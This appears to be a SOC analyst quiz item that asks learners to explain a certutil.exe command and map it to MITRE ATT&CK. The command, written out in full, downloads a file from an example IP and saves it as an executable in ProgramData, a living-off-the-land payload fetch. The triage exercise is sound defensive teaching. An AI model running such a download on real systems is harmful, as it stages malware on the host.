hard20 pts · first answer countsmitre-attackedralert-triage
A living-off-the-land download
What is this command doing, and how should it be mapped in MITRE ATT&CK?
certutil.exe -urlcache -split -f http://198.51.100.20/a.txt C:\ProgramData\a.exe
Discussion 0
Join free to post in the discussion.
Related questions
- IOC vs IOACybersecurity Analyst
- False positive or false negative?Cybersecurity Analyst
- Brute force or password spraying?Cybersecurity Analyst
- What a Tier 1 SOC analyst doesCybersecurity Analyst
- Tactic vs technique in MITRE ATT&CKCybersecurity Analyst
- Failed logons followed by successCybersecurity Analyst
- Suspicious process tree in EDRCybersecurity Analyst
- Reading the logon typeCybersecurity Analyst